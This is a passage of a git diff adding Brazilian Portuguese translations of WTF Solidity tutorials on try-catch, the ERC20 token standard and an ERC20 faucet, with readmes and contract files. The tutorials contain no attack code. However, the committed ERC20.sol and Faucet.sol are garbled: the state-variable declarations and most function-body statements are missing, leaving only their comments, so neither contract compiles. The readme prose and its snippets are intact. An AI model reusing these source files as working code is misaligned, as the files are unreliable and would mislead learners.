even.onlyEven(amount) returns(bool _success){ + // Em caso de sucesso na chamada + emit SuccessEvent(); + return _success; + } catch Error(string memory reason){ + // Em caso de falha na chamada + emit CatchEvent(reason); + } + } + + // Ao usar try-catch em contratos criados (a criação de contratos é considerada uma chamada externa) + // executeNew(0) falhará e liberará `CatchEvent` + // executeNew(1) falhará e liberará `CatchByte` + // executeNew(2) será bem-sucedido e liberará `SuccessEvent` + function executeNew(uint a) external returns (bool success) { + try new OnlyEven(a) returns(OnlyEven _even){ + // Em caso de sucesso na chamada + emit SuccessEvent(); + success = _even.onlyEven(a); + } catch Error(string memory reason) { + // catch revert("reasonString") e require(false, "reasonString") + emit CatchEvent(reason); + } catch (bytes memory reason) { + // catch failed assert assert failed error type is Panic(uint256) not Error(string) type, so it will enter this branch + emit CatchByte(reason); + } + } +} diff --git a/Languages/pt-br/30_TryCatch/img/30-1.png b/Languages/pt-br/30_TryCatch/img/30-1.png new file mode 100644 index 000000000..cf6c34556 Binary files /dev/null and b/Languages/pt-br/30_TryCatch/img/30-1.png differ diff --git a/Languages/pt-br/30_TryCatch/img/30-2.png b/Languages/pt-br/30_TryCatch/img/30-2.png new file mode 100644 index 000000000..bcc7f39d4 Binary files /dev/null and b/Languages/pt-br/30_TryCatch/img/30-2.png differ diff --git a/Languages/pt-br/30_TryCatch/img/30-3.png b/Languages/pt-br/30_TryCatch/img/30-3.png new file mode 100644 index 000000000..aa30f66ee Binary files /dev/null and b/Languages/pt-br/30_TryCatch/img/30-3.png differ diff --git a/Languages/pt-br/30_TryCatch/img/30-4.png b/Languages/pt-br/30_TryCatch/img/30-4.png new file mode 100644 index 000000000..27adecb44 Binary files /dev/null and b/Languages/pt-br/30_TryCatch/img/30-4.png differ diff --git a/Languages/pt-br/30_TryCatch/img/30-5.png b/Languages/pt-br/30_TryCatch/img/30-5.png new file mode 100644 index 000000000..06b43b9de Binary files /dev/null and b/Languages/pt-br/30_TryCatch/img/30-5.png differ diff --git a/Languages/pt-br/30_TryCatch/readme.md b/Languages/pt-br/30_TryCatch/readme.md new file mode 100644 index 000000000..dab558286 --- /dev/null +++ b/Languages/pt-br/30_TryCatch/readme.md @@ -0,0 +1,173 @@ +# WTF Introdução Simples à Solidity: 30. Try Catch + +Recentemente, tenho revisitado o estudo da Solidity para reforçar alguns detalhes e escrever um "Guia Simples de Solidity" para iniciantes (os experientes em programação podem buscar outros tutoriais). Atualizo 1-3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutorial estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +`try-catch` é uma maneira padrão de lidar com exceções em quase todas as linguagens de programação modernas, e foi adicionada ao Solidity na versão 0.6. Nesta lição, vamos aprender como usar o `try-catch` para lidar com exceções em contratos inteligentes. + +## `try-catch` + +No Solidity, o `try-catch` só pode ser usado em chamadas de funções `external` ou no momento da criação do contrato (no `constructor`, que é tratado como uma função `external`). A sintaxe básica é a seguinte: + +```solidity +try externalContract.f() { + // código a ser executado em caso de chamada bem-sucedida +} catch { + // código a ser executado em caso de chamada mal-sucedida +} +``` + +Onde `externalContract.f()` é uma chamada de função em um contrato externo, o bloco `try` é executado se a chamada for bem-sucedida, e o bloco `catch` é executado se a chamada falhar. + +Também é possível utilizar `this.f()` em vez de `externalContract.f()`, que é tratado como uma chamada externa, porém não pode ser usado no construtor, pois o contrato ainda não foi criado. + +Se a função chamada tiver um valor de retorno, é necessário declarar o tipo de retorno após o `try` e este valor pode ser utilizado dentro do bloco `try`. Se for uma criação de contrato, o valor de retorno será a variável do novo contrato criado. + +```solidity +try externalContract.f() returns(returnType val){ + // código a ser executado em caso de chamada bem-sucedida +} catch { + // código a ser executado em caso de chamada mal-sucedida +} +``` + +Além disso, o bloco `catch` permite capturar tipos específicos de razões de exceção: + +```solidity +try externalContract.f() returns(returnType){ + // código a ser executado em caso de chamada bem-sucedida +} catch Error(string memory /*reason*/) { + // trata exceções revert("razao") e require(false, "razao") +} catch Panic(uint /*errorCode*/) { + // trata erros de Panic como falhas de assert, estouro, divisão por zero, acesso de array fora dos limites +} catch (bytes memory /*lowLevelData*/) { + // Atingido se o revert ocorrer e as exceções anteriores não forem correspondidas, por exemplo, revert() require(false) e outros tipos de erros de revert +} +``` + +## Aplicação do `try-catch` + +### `OnlyEven` + +Vamos criar um contrato externo chamado `OnlyEven` e usar o `try-catch` para lidar com exceções: + +```solidity +contract OnlyEven{ + constructor(uint a){ + require(a != 0, "número inválido"); + assert(a != 1); + } + + function onlyEven(uint256 b) external pure returns(bool success){ + // reverte se o número for ímpar + require(b % 2 == 0, "Ops! Revertendo"); + success = true; + } +} +``` + +O contrato `OnlyEven` tem um construtor e uma função `onlyEven`. + +- O construtor possui um parâmetro `a`, que lança uma exceção se `a=0`; e falha se `a=1`; caso contrário segue normalmente. +- A função `onlyEven` tem um parâmetro `b` e lança uma exceção se `b` for ímpar. + +### Tratando exceções de chamadas de funções externas + +Primeiro, no contrato `TryCatch`, precisamos definir alguns eventos e variáveis de estado: + +```solidity +// Evento de sucesso +event SuccessEvent(); + +// Evento de falha +event CatchEvent(string message); +event CatchByte(bytes data); + +// Declaração da variável do contrato OnlyEven +OnlyEven even; + +constructor() { + even = new OnlyEven(2); +} +``` + +O evento `SuccessEvent` é emitido em caso de chamada bem-sucedida, enquanto os eventos `CatchEvent` e `CatchByte` são emitidos em caso de exceção, correspondendo às exceções de `require/revert` e `assert`, respectivamente. `even` é uma variável de estado do tipo contrato `OnlyEven`. + +Em seguida, no função `execute`, usaremos o `try-catch` para lidar com exceções na chamada da função externa `onlyEven`: + +```solidity +// Usando try-catch em chamadas externas +function execute(uint amount) external returns (bool success) { + try even.onlyEven(amount) returns(bool _success){ + // Código a ser executado em caso de chamada bem-sucedida + emit SuccessEvent(); + return _success; + } catch Error(string memory reason){ + // Código a ser executado em caso de falha na chamada + emit CatchEvent(reason); + } +} +``` + +### Verificação e tratamento de exceções no remix + +Ao chamar `execute(0)`, como `0` é um número par, satisfazendo a condição de `require(b % 2 == 0, "Ops! Revertendo");`, não será lançada nenhuma exceção e o evento `SuccessEvent` será emitido. + +![30-1](./img/30-1.png) + +Ao chamar `execute(1)`, como `1` é um número ímpar e não satisfaz a condição de `require(b % 2 == 0, "Ops! Revertendo");`, uma exceção é lançada e o evento `CatchEvent` é emitido. + +![30-2](./img/30-2.png) + +### Lidando com exceções na criação de contratos + +Aqui, utilizaremos o `try-catch` para lidar com exceções na criação de contratos. Basta modificar o bloco `try` para a criação do contrato `OnlyEven`: + +```solidity +// Usando try-catch na criação de novo contrato (a criação de contrato é considerada como uma chamada externa) +// executeNew(0) falhará e emitirá 'CatchEvent' +// executeNew(1) falhará e emitirá 'CatchByte' +// executeNew(2) terá sucesso e emitirá 'SuccessEvent' +function executeNew(uint a) external returns (bool success) { + try new OnlyEven(a) returns(OnlyEven _even){ + // Código a ser executado em caso de chamada bem-sucedida + emit SuccessEvent(); + success = _even.onlyEven(a); + } catch Error(string memory reason) { + // Lidar com revert() e require() que falharam + emit CatchEvent(reason); + } catch (bytes memory reason) { + // Lidar com falhas em assert() + emit CatchByte(reason); + } +} +``` + +### Verificação e tratamento de exceções no remix ao criar contratos + +Ao chamar `executeNew(0)`, como `0` não satisfaz a condição `require(a != 0, "número inválido");`, a chamada falhará e o evento `CatchEvent` será emitido. + +![30-3](./img/30-3.png) + +Ao chamar `executeNew(1)`, como `1` não satisfaz a condição `assert(a != 1);`, a chamada falhará e o evento `CatchByte` será emitido. + +![30-4](./img/30-4.png) + +Ao chamar `executeNew(2)`, como `2` satisfaz as condições `require(a != 0, "número inválido");` e `assert(a != 1);`, a chamada será bem-sucedida e o evento `SuccessEvent` será emitido. + +![30-5](./img/30-5.png) + +## Conclusão + +Nesta lição, aprendemos como usar o `try-catch` no Solidity para lidar com exceções em contratos inteligentes: + +- Pode ser usado apenas em chamadas a contratos externos e na criação de contratos. +- Se a operação em `try` for bem-sucedida, a variável de retorno deve ser declarada e ter um tipo correspondente. + diff --git a/Languages/pt-br/31_ERC20/ERC20.sol b/Languages/pt-br/31_ERC20/ERC20.sol new file mode 100644 index 000000000..ad0f991c4 --- /dev/null +++ b/Languages/pt-br/31_ERC20/ERC20.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +import "./IERC20.sol"; + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + // Fornecimento total de tokens + + // Nome + // Símbolos + + // Número de casas decimais + + // @dev Implement contract name and symbol during contract deployment + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implement the `transfer` function, logic for token transfer + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implement the `approve` function, token authorization logic + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implement the `transferFrom` function, which handles token transfer with authorization + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Cunhar tokens e transferir do endereço `0` para o endereço do chamador + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destruir tokens, transferindo-os do endereço do chamador para o endereço `0` + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} diff --git a/Languages/pt-br/31_ERC20/IERC20.sol b/Languages/pt-br/31_ERC20/IERC20.sol new file mode 100644 index 000000000..906f02edb --- /dev/null +++ b/Languages/pt-br/31_ERC20/IERC20.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev Contrato de interface ERC20. + */ +interface IERC20 { + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida de uma conta (`from`) para outra conta (`to`). + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida da conta (`owner`) para outra conta (`spender`). + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Retorna o fornecimento total de tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Retorna a quantidade de tokens que a conta `account` possui. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transferir `amount` unidades de token da conta do chamador para a conta `to`. + * + * Se for bem-sucedido, retorna `true`. + * + * Emite o evento {Transfer}. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Retorna a quantidade de tokens que o titular da conta `owner` autorizou o titular da conta `spender` a gastar, que por padrão é 0. + * + * A permissão de gasto é alterada quando {approve} ou {transferFrom} são chamados. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev O chamador da conta autoriza a conta `spender` a gastar `amount` tokens. + * + * Retorna `true` se for bem sucedido. + * + * Emite o evento {Approval}. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfere `amount` de tokens da conta `from` para a conta `to`, utilizando o mecanismo de autorização. A quantidade transferida será deduzida da permissão do chamador. + * + * Retorna `true` se a transferência for bem-sucedida. + * + * Emite o evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/Languages/pt-br/31_ERC20/img/31-1.png b/Languages/pt-br/31_ERC20/img/31-1.png new file mode 100644 index 000000000..b83319f85 Binary files /dev/null and b/Languages/pt-br/31_ERC20/img/31-1.png differ diff --git a/Languages/pt-br/31_ERC20/img/31-2.png b/Languages/pt-br/31_ERC20/img/31-2.png new file mode 100644 index 000000000..8a71add46 Binary files /dev/null and b/Languages/pt-br/31_ERC20/img/31-2.png differ diff --git a/Languages/pt-br/31_ERC20/img/31-3.png b/Languages/pt-br/31_ERC20/img/31-3.png new file mode 100644 index 000000000..0f887e04d Binary files /dev/null and b/Languages/pt-br/31_ERC20/img/31-3.png differ diff --git a/Languages/pt-br/31_ERC20/readme.md b/Languages/pt-br/31_ERC20/readme.md new file mode 100644 index 000000000..9d749e0df --- /dev/null +++ b/Languages/pt-br/31_ERC20/readme.md @@ -0,0 +1,231 @@ +# 31. ERC20 + +Eu recentemente comecei a estudar novamente Solidity para consolidar conhecimentos e criar um guia "WTF Solidity para Iniciantes", para ser usado por novatos (programadores experientes podem buscar outros tutoriais), com atualizações semanais de 1 a 3 aulas. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade de cientistas da WTF, onde você pode encontrar o método para se juntar ao grupo no Discord: [link](https://discord.gg/5akcruXrsk) + +Todo código e tutorial estão disponíveis no meu GitHub (1024 stars para obter a certificação do curso, 2048 stars para receber o NFT do grupo): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta aula, vamos apresentar o padrão de token ERC20 na Ethereum e emitir nosso próprio token de teste. + +## ERC20 + +O `ERC20` é o padrão de token na Ethereum, criado por V em novembro de 2015, com base no [`EIP20`](https://eips.ethereum.org/EIPS/eip-20). Ele implementa a lógica básica de transferência de tokens: + +- Saldo da conta +- Transferência +- Autorização de transferência +- Oferta total de tokens +- Informações do token (opcional): nome, símbolo, casas decimais + +## IERC20 + +`IERC20` é o contrato de interface do padrão `ERC20`, que especifica as funções e eventos que um token ERC20 precisa implementar. A necessidade de definir uma interface está no fato de que, ao ter um padrão, todos os tokens ERC20 compartilham nomes de função, parâmetros de entrada e saída. + +Em uma função de interface, precisamos apenas definir o nome da função, os parâmetros de entrada e saída, sem se importar com a implementação interna da função. Assim, as funções são divididas em duas partes: implementação e interface externa, que acordam sobre os dados comuns. Por isso, precisamos dos arquivos `ERC20.sol` e `IERC20.sol` para implementar um contrato. + +### Eventos + +`IERC20` define dois eventos: evento de `Transferência` e evento de `Autorização`, que são acionados durante transferências e autorizações de tokens. + +```solidity + /** + * @dev Disparado quando `value` unidades de moeda são transferidas da conta (`from`) para outra (`to`). + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Disparado quando `value` unidades de moeda são autorizadas da conta do proprietário (`owner`) para outra conta (`spender`). + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +``` + +### Funções + +`IERC20` define seis funções, fornecendo funcionalidades básicas de transferência de tokens e permitindo que terceiros na blockchain usem tokens autorizados. + +- `totalSupply()` retorna a oferta total de tokens +```solidity + /** + * @dev Retorna a oferta total de tokens. + */ + function totalSupply() external view returns (uint256); +``` + +- `balanceOf()` retorna o saldo da conta +```solidity + /** + * @dev Retorna a quantidade de tokens que a conta `account` possui. + */ + function balanceOf(address account) external view returns (uint256); +``` + +- `transfer()` transferência +```solidity + /** + * @dev Transfere `amount` unidades de token da conta do chamador para outra conta `to`. + * + * Se bem-sucedido, retorna `true`. + * + * Emite o evento {Transfer}. + */ + function transfer(address to, uint256 amount) external returns (bool); +``` + +- `allowance()` retorna a quantidade autorizada +```solidity + /** + * @dev Retorna a quantidade de tokens que o proprietário `owner` autorizou o `spender` a usar, sendo o padrão 0. + * + * Isso muda quando {approve} ou {transferFrom} são chamados. + */ + function allowance(address owner, address spender) external view returns (uint256); +``` + +- `approve()` autorização +```solidity + /** + * @dev O proprietário da conta aprova o `spender` a usar uma quantidade `amount` de tokens. + * + * Se bem-sucedido, retorna `true`. + * + * Emite o evento {Approval}. + */ + function approve(address spender, uint256 amount) external returns (bool); +``` + +- `transferFrom()` transferência autorizada +```solidity + /** + * @dev Por meio de mecanismos de autorização, transfere `amount` unidades de token da conta `from` para a conta `to`. A parte da transferência é deduzida da autorização do chamador. + * + * Se bem-sucedido, retorna `true`. + * + * Emite o evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +``` + +## Implementando ERC20 + +Agora escreveremos um contrato `ERC20` e implementaremos simplesmente as funções definidas em `IERC20`. + +### Variáveis de estado + +Precisamos de variáveis de estado para registrar o saldo da conta, a quantidade autorizada e as informações do token. `balanceOf`, `allowance` e `totalSupply` são do tipo `public`, gerando automaticamente uma função `getter` com o mesmo nome, implementando assim as funções `balanceOf()`, `allowance()` e `totalSupply()` definidas em `IERC20`. `name`, `symbol` e `decimals` são os dados correspondentes ao nome do token, símbolo e casas decimais. + +**Atenção**: `override` é usado para substituir a função `getter` com o mesmo nome da função herdada do contrato pai, como no caso do `balanceOf()` em `IERC20`. + +```solidity + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + uint256 public override totalSupply; // Oferta total de tokens + + string public name; // Nome + string public symbol; // Símbolo + + uint8 public decimals = 18; // Casas decimais +``` + +### Funções + +- Construtor: inicializa o nome e símbolo do token. +```solidity + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } +``` + +- Função `transfer()`: implementa a função `transfer` definida em `IERC20`, com a lógica de transferência de tokens. Alguns tokens podem modificar esta função para incluir lógicas como impostos, dividendos, sorteios, etc. +```solidity + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } +``` + +- Função `approve()`: implementa a função `approve` definida em `IERC20`, com a lógica de autorização de tokens. O `spender` autorizado pode usar a quantidade especificada de tokens do `owner`. O `spender` pode ser uma conta EOA (externally owned account) ou um contrato, como no caso de usar o `uniswap` para negociar tokens. +```solidity + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } +``` + +- Função `transferFrom()`: implementa a função `transferFrom` definida em `IERC20`, com a lógica de transferência autorizada. O `spender` autorizado transfere a quantidade de tokens do `sender` para o destinatário `recipient`. +```solidity + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } +``` + +- Função `mint()`: função de criação de tokens, não presente no padrão `IERC20`. Aqui, qualquer pessoa pode criar uma quantidade arbitrária de tokens, mas na prática seria necessário ter um controle de permissão, onde somente o `owner` pode criar tokens. +```solidity + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } +``` + +- Função `burn()`: função de queima de tokens, não presente no padrão `IERC20`. +```solidity + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } +``` + +## Emissão de tokens ERC20 + +Com o padrão `ERC20`, a emissão de tokens na rede Ethereum se torna muito simples. Agora vamos emitir o nosso primeiro token. + +Compile o contrato `ERC20` no Remix e insira os parâmetros do construtor, definindo `name_` e `symbol_` como `WTF`, e clique no botão `transact` para implantar o contrato. + +![Deploy Contract](./img/31-1.png) + +Dessa forma, o token `WTF` foi criado. Agora, precisamos executar a função `mint()` para criar alguns tokens para nós mesmos. No contrato `ERC20` na seção `Deployed Contract`, na entrada da função `mint`, insira `100` e clique no botão `mint` para criar `100` tokens `WTF` para você. + +Você pode clicar no botão `Debug` para ver mais detalhes nos logs da execução. + +Os logs contêm quatro informações importantes: +- Evento `Transfer` +- Endereço de criação dos tokens: `0x0000000000000000000000000000000000000000` +- Endereço de recebimento: `0x5B38Da6a701c568545dCfcB03FcB875f56beddC4` +- Quantidade de tokens: `100` + +![Mint Tokens](./img/31-2.png) + +Usando a função `balanceOf()`, podemos verificar nosso saldo. Insira o seu endereço atual e você verá que o saldo agora é `100`, indicando que a criação de tokens foi bem-sucedida. + +As informações da conta estão na metade esquerda da imagem, e os detalhes da execução da função estão marcados à direita. + +![Check Balance](./img/31-3.png) + +## Conclusão + +Nesta aula, aprendemos sobre o padrão ERC20 na Ethereum e como implementá-lo, além de termos emitido nosso próprio token de teste. O padrão ERC20, proposto no final de 2015, reduziu significativamente a barreira de entrada para a emissão de tokens na Ethereum e deu início à grande era dos ICOs. Ao investir em tokens, é fundamental examinar atentamente o contrato do token para evitar problemas e aumentar a chance de sucesso nos investimentos. + diff --git a/Languages/pt-br/32_Faucet/Faucet.sol b/Languages/pt-br/32_Faucet/Faucet.sol new file mode 100644 index 000000000..ae8285f8a --- /dev/null +++ b/Languages/pt-br/32_Faucet/Faucet.sol @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; + +//importar IERC20 + +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + // Fornecimento total de tokens + + // Nome + // Símbolos + + // Número de casas decimais + + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implement the `transfer` function, logic for token transfer + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implement the `approve` function, token authorization logic + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implement the `transferFrom` function, which handles token transfer with authorization + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Cunhar tokens e transferir do endereço `0` para o endereço do chamador + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destruir tokens, transferindo-os do endereço do chamador para o endereço `0` + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} + +// Contrato de torneira para tokens ERC20 +contract Faucet { + + // Cada vez que você resgata 100 unidades de tokens. + // Endereço do contrato de token + // Registre os endereços que receberam tokens + + // Evento SendToken + event SendToken(address indexed Receiver, uint256 indexed Amount); + + // Ao implantar, defina o contrato de token ERC2. + constructor(address _tokenContract) { + // definir contrato de token + } + + // Função para o usuário receber tokens + function requestTokens() external { + // Cada endereço só pode ser resgatado uma vez. + // Criar objeto de contrato IERC20 + // A torneira está vazia. + + // Enviar token + // Registre o endereço de recebimento + + // Liberar o evento SendToken + } +} diff --git a/Languages/pt-br/32_Faucet/IERC20.sol b/Languages/pt-br/32_Faucet/IERC20.sol new file mode 100644 index 000000000..e96da94f5 --- /dev/null +++ b/Languages/pt-br/32_Faucet/IERC20.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity por 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev Contrato de interface ERC20. + */ +interface IERC20 { + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida de uma conta (`from`) para outra conta (`to`). + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Condição de liberação: quando a moeda em unidades `value` é transferida da conta (`owner`) para outra conta (`spender`). + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Retorna o fornecimento total de tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Retorna a quantidade de tokens que a conta `account` possui. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transferir `amount` unidades de token da conta do chamador para a conta `to`. + * + * Se for bem-sucedido, retorna `true`. + * + * Emite o evento {Transfer}. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Retorna a quantidade de tokens que o titular da conta `owner` autorizou o titular da conta `spender` a gastar, que por padrão é 0. + * + * A permissão de gasto é alterada quando {approve} ou {transferFrom} são chamados. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev O chamador da conta autoriza a conta `spender` a gastar `amount` tokens. + * + * Retorna `true` se for bem-sucedido. + * + * Emite o evento {Approval}. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfere `amount` de tokens da conta `from` para a conta `to`, utilizando o mecanismo de autorização. A quantidade transferida será deduzida da permissão do chamador. + * + * Retorna `true` se a transferência for bem-sucedida. + * + * Emite o evento {Transfer}. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/Languages/pt-br/32_Faucet/img/32-1.png b/Languages/pt-br/32_Faucet/img/32-1.png new file mode 100644 index 000000000..2b26e7251 Binary files /dev/null and b/Languages/pt-br/32_Faucet/img/32-1.png differ diff --git a/Languages/pt-br/32_Faucet/img/32-2.png b/Languages/pt-br/32_Faucet/img/32-2.png new file mode 100644 index 000000000..70f946066 Binary files /dev/null and b/Languages/pt-br/32_Faucet/img/32-2.png differ diff --git a/Languages/pt-br/32_Faucet/img/32-3.png b/Languages/pt-br/32_Faucet/img/32-3.png new file mode 100644 index 000000000..66b07579b Binary files /dev/null and b/Languages/pt-br/32_Faucet/img/32-3.png differ diff --git a/Languages/pt-br/32_Faucet/img/32-4.png b/Languages/pt-br/32_Faucet/img/32-4.png new file mode 100644 index 000000000..c9e3d1b41 Binary files /dev/null and b/Languages/pt-br/32_Faucet/img/32-4.png differ diff --git a/Languages/pt-br/32_Faucet/img/32-5.png b/Languages/pt-br/32_Faucet/img/32-5.png new file mode 100644 index 000000000..6dd852dd3 Binary files /dev/null and b/Languages/pt-br/32_Faucet/img/32-5.png differ diff --git a/Languages/pt-br/32_Faucet/img/32-6.png b/Languages/pt-br/32_Faucet/img/32-6.png new file mode 100644 index 000000000..38c7d8cbe Binary files /dev/null and b/Languages/pt-br/32_Faucet/img/32-6.png differ diff --git a/Languages/pt-br/32_Faucet/readme.md b/Languages/pt-br/32_Faucet/readme.md new file mode 100644 index 000000000..1d50c7ac1 --- /dev/null +++ b/Languages/pt-br/32_Faucet/readme.md @@ -0,0 +1,101 @@ +# WTF Solidity Crash Course: 32. Token Faucet + +Recentemente, tenho revisado meus conhecimentos sobre Solidity para consolidar detalhes e escrever um "Curso Rápido de Solidity". Este curso é destinado a iniciantes (programadores experientes podem procurar outras fontes), e eu pretendo adicionar de 1 a 3 aulas por semana. + +Siga-me no Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Junte-se à comunidade WTF Scientists, onde você pode encontrar informações sobre como entrar no nosso grupo do Discord: [Link](https://discord.gg/5akcruXrsk) + +Todo o código e tutorial estão disponíveis no meu GitHub (obteremos um certificado de curso com 1024 estrelas e um NFT comunitário com 2048 estrelas): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +No último tutorial, aprendemos sobre o padrão de token ERC20. Nesta aula, vamos aprender sobre contratos inteligentes de faucet ERC20. Neste contrato, os usuários podem receber tokens ERC20 gratuitos. + +## Faucet de Tokens + +Assim como você vai a uma torneira para beber água quando está com sede, você também pode ir a um "faucet de tokens" para receber tokens gratuitos quando deseja. Um faucet de tokens é um site/aplicativo que permite aos usuários receber tokens gratuitos. + +O primeiro exemplo de faucet de tokens foi o faucet de Bitcoin (BTC): hoje, um BTC custa cerca de $30.000, mas em 2010, o preço de um BTC era menos de $0.1 e havia poucos detentores. Para aumentar sua base de usuários, Gavin Andresen, da comunidade do Bitcoin, criou o faucet de Bitcoin, permitindo que outras pessoas recebessem BTC gratuitamente. Muitos foram atraídos por esta oportunidade, e uma parte dessas pessoas se tornaram entusiastas do Bitcoin. O Bitcoin faucet distribuiu mais de 19.700 BTC, que atualmente valem cerca de $600 milhões! + +## Contrato Faucet ERC20 + +Neste exemplo, vamos implementar uma versão simplificada de um faucet ERC20. A lógica é simples: transferimos alguns tokens ERC20 para o contrato do faucet e os usuários podem solicitar 100 unidades desses tokens através da função `requestToken()`, com cada endereço podendo solicitar apenas uma vez. + +### Variáveis de Estado + +Vamos definir 3 variáveis de estado no contrato do faucet: + +- `amountAllowed` define a quantidade de tokens que cada pessoa pode receber a cada solicitação (pode ser menos que 100 devido à divisão decimal dos tokens). +- `tokenContract` registra o endereço do contrato dos tokens ERC20 distribuídos. +- `requestedAddress` mantém o registro dos endereços que solicitaram tokens. + +```solidity +uint256 public amountAllowed = 100; // Receber 100 unidades de token por solicitação +address public tokenContract; // Endereço do contrato dos tokens +mapping(address => bool) public requestedAddress; // Registro de endereços que solicitaram tokens +``` + +### Eventos + +No contrato do faucet, definimos um evento `SendToken`, que registra o endereço e a quantidade de tokens solicitados a cada transferência, quando a função `requestTokens()` é chamada. + +```solidity +// Evento de envio de token +event SendToken(address indexed Receiver, uint256 indexed Amount); +``` + +### Funções + +O contrato possui apenas duas funções: + +- Construtor: inicializa a variável de estado `tokenContract`, definindo o endereço do contrato dos tokens ERC20 a serem distribuídos. + +```solidity +// Definir o contrato ERC20 ao implantar +constructor(address _tokenContract) { + tokenContract = _tokenContract; // definir contrato de token +} +``` + +- Função `requestTokens()`: os usuários podem chamar essa função para receber tokens ERC20. + +```solidity +// Função para os usuários receberem tokens +function requestTokens() external { + require(requestedAddress[msg.sender] == false, "Não é possível solicitar várias vezes!"); // cada endereço só pode solicitar uma vez + IERC20 token = IERC20(tokenContract); // cria o 